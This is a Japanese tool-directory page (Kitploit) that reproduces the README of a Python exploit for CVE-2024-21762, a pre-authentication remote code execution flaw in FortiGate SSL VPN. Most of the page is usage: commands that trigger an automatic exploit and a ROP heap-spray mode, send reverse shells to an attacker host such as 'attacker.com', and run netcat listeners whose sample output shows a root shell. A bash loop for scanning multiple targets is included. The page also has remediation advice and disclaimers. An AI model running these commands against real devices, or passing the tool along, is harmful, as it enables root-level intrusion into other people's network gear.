Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-21762 — CVE-2024-21762の事前認証RCEをFortiGate SSL VPNで検出・悪用するツールで、ベースライン検証、自動悪用、ROPヒープスプレーモード、リバースシェルを備えています。 | Kitploit
ツール/GitHubGitHub/0x13-bytezer0/cve-2024-21762
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

CVE-2024-21762の事前認証RCEをFortiGate SSL VPNで検出・悪用するツールで、ベースライン検証、自動悪用、ROPヒープスプレーモード、リバースシェルを備えています。

リポジトリを見る
7ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-21762 - FortiGate SSL VPN RCE 検出および悪用ツール

Python 3.7+ License Vulnerability: Critical

CVE-2024-21762 の検出および悪用ツール - FortiGate SSL VPN の重大な脆弱性

⚠️ 法的注意: このツールは許可されたテスト環境でのみ使用してください。許可されていないシステムでの使用は違法であり、深刻な法的結果を招く可能性があります。

概要

CVE-2024-21762 は、FortiGate SSL VPN コンポーネントにおける重大な脆弱性であり、認証前のリモートコード実行 (RCE) を可能にします。この欠陥は、Transfer-Encoding chunked を使用した HTTP リクエストの脆弱なパース処理に存在し、sslvpnd コンポーネントでの out-of-bounds write を引き起こします。

技術的詳細

属性情報
CVE IDCVE-2024-21762
脆弱性sslvpnd における Out-of-bounds write
タイプ認証前のリモートコード実行 (RCE)
CVSS Score9.8 (Critical)
影響を受けるコンポーネントFortiOS SSL VPN
脆弱なバージョン7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

機能

✅ 脆弱性の検出 - 不正なリクエストにより脆弱な FortiGate を特定
✅ ベースラインテスト - テスト前にサーバーの通常の動作を確認
✅ 自動モード - 脆弱性を自動で検出し悪用
✅ リバースシェル - IP/ポート設定による bash リバースシェルをサポート
✅ 入力検証 - 悪用前に IP とポートを検証
✅ 詳細レポート - 修正推奨事項を含むレポートを生成
✅ 堅牢なエラー処理 - 安全な接続と例外の管理

要件

  • Python 3.7 以上
  • Python 標準ライブラリモジュール (socket, ssl, argparse, datetime, time, re)
  • ターゲットへのネットワークアクセス (ポート 443 またはカスタム)

インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762

# 構文を確認
python -m py_compile EXPLOIT.py

# スクリプトを実行
python EXPLOIT.py -h

使用方法

基本的な使用方法

root@kitploit:~
# 簡単な検出テスト
python EXPLOIT.py 192.168.1.100

# カスタムポート
python EXPLOIT.py 192.168.1.100 -p 8443

# タイムアウト増加
python EXPLOIT.py 192.168.1.100 --timeout 20

自動モード (検出 + 悪用)

root@kitploit:~
# 事前設定済みリバースシェルによる自動モード
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# 資格情報なしの自動モード (対話的に要求)
python EXPLOIT.py 192.168.1.100 --auto

ROP モード - ヒープスプレーによる高度な悪用

ROP モードは、特定のターゲット (FortiOS 7.4.2) に対してヒープスプレーを用いた2段階の悪用を実装します:

root@kitploit:~
# Node.js リバースシェルを使用した ROP 悪用
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# カスタムポート
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# 低速ターゲット向けタイムアウト増加
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

ROP 悪用フロー:

  1. ステージ 1: ROP ガジェットを含む 1.8MB のヒープスプレーを送信
  2. CPU 処理のため 2 秒待機
  3. ステージ 2: 4137 バイトのチャンクで OOB write をトリガー
  4. ペイロード実行のため 3 秒待機
  5. Node.js リバース接続確立

リスニングサーバー側:

root@kitploit:~
# Linux/Mac/Windows (netcat 使用)
nc -lnvp 4242

# 期待される出力:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ 重要な注意: ROP モードは FortiOS 7.4.2.F-build2571 向けに最適化されています。ハードコードされた ROP チェーンのオフセットのため、他のバージョンでは動作しない可能性があります。

リバースシェルによる手動テスト

root@kitploit:~
# リバースシェルペイロードを送信
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# 複数オプションの組み合わせ
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

利用可能なオプション

root@kitploit:~
位置引数:
  target                    テスト対象のホスト名または IP

オプション引数:
  -h, --help                このヘルプメッセージを表示
  -t, --target HOSTNAME     ターゲットのホスト名または IP (代替)
  -p, --port PORT           SSL VPN ポート (デフォルト: 443)
  --timeout SECONDS         タイムアウト (秒) (デフォルト: 10)
  -li, --lhost IP           リバースシェルを受信するローカル IP
  -lp, --lport PORT         リバースシェルを受信するローカルポート
  --no-baseline             ベースラインテストをスキップ
  --auto                    自動モード: 検出して悪用
  --rop                     ROP モード: ヒープスプレーを使用した高度な悪用 (FortiOS 7.4.2)
  -v, --version             スクリプトのバージョンを表示

完全な使用例

1. 簡単な検出

root@kitploit:~
python EXPLOIT.py 192.168.1.100

脆弱性がある場合の期待される出力:

root@kitploit:~
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL

2. リバースシェルによる自動悪用

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

リスニングサーバー側:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. 複数ターゲットのテスト

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

動作の仕組み

検出フロー

  1. ベースラインテスト - 通常の HTTP リクエストを送信し、標準的な動作を確認
  2. 不正なリクエスト - 脆弱な chunked encoding を使用した不正な HTTP リクエストを送信
  3. 分析 - 応答を分析して脆弱性の兆候を検出:
    • 接続の突然の切断
    • タイムアウト/サーバークラッシュ
    • 異常な TLS アラート
  4. レポート - ステータスと推奨事項を含むレポートを生成

悪用フロー (自動モード)

  1. 検出テストを実行
  2. 脆弱な場合、リバースシェルペイロードを注入
  3. リバース接続を待機
  4. 最終レポートを生成

脆弱性の指標

このツールは、以下のいずれかの動作を検出した場合、ターゲットを脆弱と判断します:

  • ✓ 接続が突然切断される (空の応答)
  • ✓ ペイロード送信後のタイムアウト (サーバークラッシュ)
  • ✓ TLS アラート受信 (sslvpnd がクラッシュ)
  • ✓ 接続リセット (Connection Reset by Peer)

影響を受けるバージョン

修正方法

即時対応

  1. FortiOS を修正バージョンに更新:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. 一時的な隔離:

    • SSL VPN への外部アクセスを無効化
    • 管理アクセスを制限
  3. 監視:

    • 悪用の兆候についてログを確認
    • 資格情報と異常なアクセスを確認

事後確認

root@kitploit:~
# FortiOS バージョンを確認
python EXPLOIT.py seu-fortinet.com

結果に「NÃO VULNERÁVEL」と表示されれば、パッチが正常に適用されています。

プロジェクト構造

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # メインの悪用スクリプト
├── README.md           # このファイル
├── LICENSE             # MIT ライセンス
└── .gitignore          # Git 設定

クラスのメソッド

CVE2024_21762_Detector

エラー処理

  • ✓ 堅牢な入力検証
  • ✓ SSL/TLS 例外処理
  • ✓ 接続のタイムアウト
  • ✓ ソケットの安全なクローズ
  • ✓ 説明的なエラーメッセージ

制限事項

  • ⚠️ ターゲットへのネットワーク接続が必要
  • ⚠️ 脆弱性を検出しますが、悪用の成功は保証しません
  • ⚠️ リバースシェルはターゲット環境に依存します (bash が必要)
  • ⚠️ 制限の厳しいファイアウォールでは動作しません

FAQ

Q: Windows 環境で使用できますか? A: はい、Python スクリプトは Windows でも動作しますが、標準の bash リバースシェルは機能しません。カスタムペイロードが必要になります。

Q: 悪用が成功したかどうかを確認するには? A: リバースシェルを待ち受けるマシン (nc/ncat) を確認してください。スクリプトは進行状況を示すメッセージを表示します。

Q: 複数のターゲットに対して使用できますか? A: はい、bash/PowerShell スクリプトを作成して IP リストを反復処理できます。

Q: 通常モードと自動モードの違いは? A: 自動モードは脆弱性が見つかった場合に自動的に悪用します。通常モードは検出のみ行います。

コントリビューション

バグを見つけた場合や提案がある場合は、Issue を開くかプルリクエストを送ってください!

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

免責事項

このソフトウェアは、研究および許可されたテスト目的のために「現状のまま」提供されます。作者は以下について責任を負いません:

  • 許可されていない使用による損害
  • データ損失
  • 本番システムへの影響
  • 許可されていない使用による法的結果

責任を持って、許可された環境でのみ使用してください

参照

  • Fortinet セキュリティアドバイザリ
  • NVD - CVE-2024-21762
  • CVSS 計算機

著者

サイバーセキュリティの教育および研究目的で開発されました。


⚠️ 注意: このツールは、自分が所有するか、テストする明示的な許可があるシステムでのみ使用してください。許可のない悪用は犯罪です。

ツールをダウンロード
バージョン検出ROP モードステータス
FortiOS 7.0.0 - 7.0.13✅ はい❌ いいえ⚠️ 脆弱
FortiOS 7.2.0 - 7.2.6✅ はい❌ いいえ⚠️ 脆弱
FortiOS 7.4.0 - 7.4.1✅ はい❌ いいえ⚠️ 脆弱
FortiOS 7.4.2 (build≤2571)✅ はい✅ はい⚠️ 脆弱
FortiOS 7.4.3+❌ いいえ❌ いいえ✅ 修正済み
メソッド説明
test_vulnerability()不正なリクエストを送信して脆弱性をテスト
exploit(lhost, lport)リバースシェルで脆弱性を悪用
test_baseline()サーバーの通常の動作をテスト
generate_report()ステータスを含む最終レポートを生成
_create_ssl_context()再利用可能な SSL コンテキストを作成
_create_socket_connection()安全な TLS 接続を作成
_close_socket(sock)ソケットを安全に閉じる
_is_valid_ip(ip_str)IP 形式を検証